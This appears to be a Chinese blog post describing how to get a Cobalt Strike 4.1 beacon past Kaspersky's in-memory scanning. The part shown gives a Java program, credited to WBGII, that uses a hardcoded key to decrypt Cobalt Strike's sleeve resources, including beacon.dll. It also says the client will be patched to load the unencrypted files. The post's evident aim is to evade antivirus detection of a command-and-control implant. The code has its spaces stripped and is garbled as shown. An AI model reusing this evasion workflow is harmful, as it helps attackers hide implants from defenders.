记一次cs bypass卡巴斯基内存查杀

发布于 2024-02-19  1121 次阅读


1.起始

在使用cobalt strike 的过程中,卡巴斯基对默认cs 4.1版本生成的beacon进行疯狂的内存查杀,特征多达6个。本次采用手动定位法确认特征,并通过修改配置达到内存免杀效果。

2.解密

从cs4.x开始,对beacon等资源进行了加密,需要解密后才能获得原始dll,为了更快测试修改后的dll,对cs的加载资源代码进行修改,让其可以直接加载未经加密的beacon.dll(感谢WBGII的解密脚本)

cs的资源放在sleeve文件夹内,cs的功能代码为beacon.dll /beacon.x64.dll,是内存查杀重点关注的对象

cs读取资源代码如下

 

对资源进行解密

//Author: WBGII

packagecsdecrypt;

importcommon.SleevedResource;

importjava.io.*;

publicclassMain{

publicstaticvoidsaveFile(Stringfilename,byte[]data)throwsException{

if(data!=null){

Stringfilepath=filename;

Filefile=newFile(filepath);

if(file.exists()){

file.delete();

}

FileOutputStreamfos=newFileOutputStream(file);

fos.write(data,0,data.length);

fos.flush();

fos.close();

}

}

publicstaticbyte[]toByteArray(Filef)throwsIOException{

ByteArrayOutputStreambos=newByteArrayOutputStream((int)f.length());

BufferedInputStreamin=null;

try{

in=newBufferedInputStream(newFileInputStream(f));

intbuf_size=1024;

byte[]buffer=newbyte[buf_size];

intlen=0;

while(-1!=(len=in.read(buffer,0,buf_size))){

bos.write(buffer,0,len);

}

returnbos.toByteArray();

}catch(IOExceptione){

e.printStackTrace();

throwe;

}finally{

try{

in.close();

}catch(IOExceptione){

e.printStackTrace();

}

bos.close();

}

}

publicstaticvoidmain(String[]var0)throwsException{

byte[]csdecrypt=newbyte[]{1,-55,-61,127,102,0,0,0,100,1,0,27,-27,-66,82,-58,37,92,51,85,-114,-118,28,-74,103,-53,6};

SleevedResource.Setup(csdecrypt);

byte[]var7=null;

Filefile=newFile("sleeve");

File[]fs=file.listFiles();

for(Fileff:fs){

if(!ff.isDirectory())

var7=SleevedResource.readResource(ff.getPath());

saveFile("sleevedecrypt\"+ff.getName(),var7);

System.out.println("解密成功:"+ff.getName());

}

}

}

解密后对cs的代码进行修改,让其直接可以加载为无加密的资源(资源替换sleeve文件夹)

/common/SleevedResource.class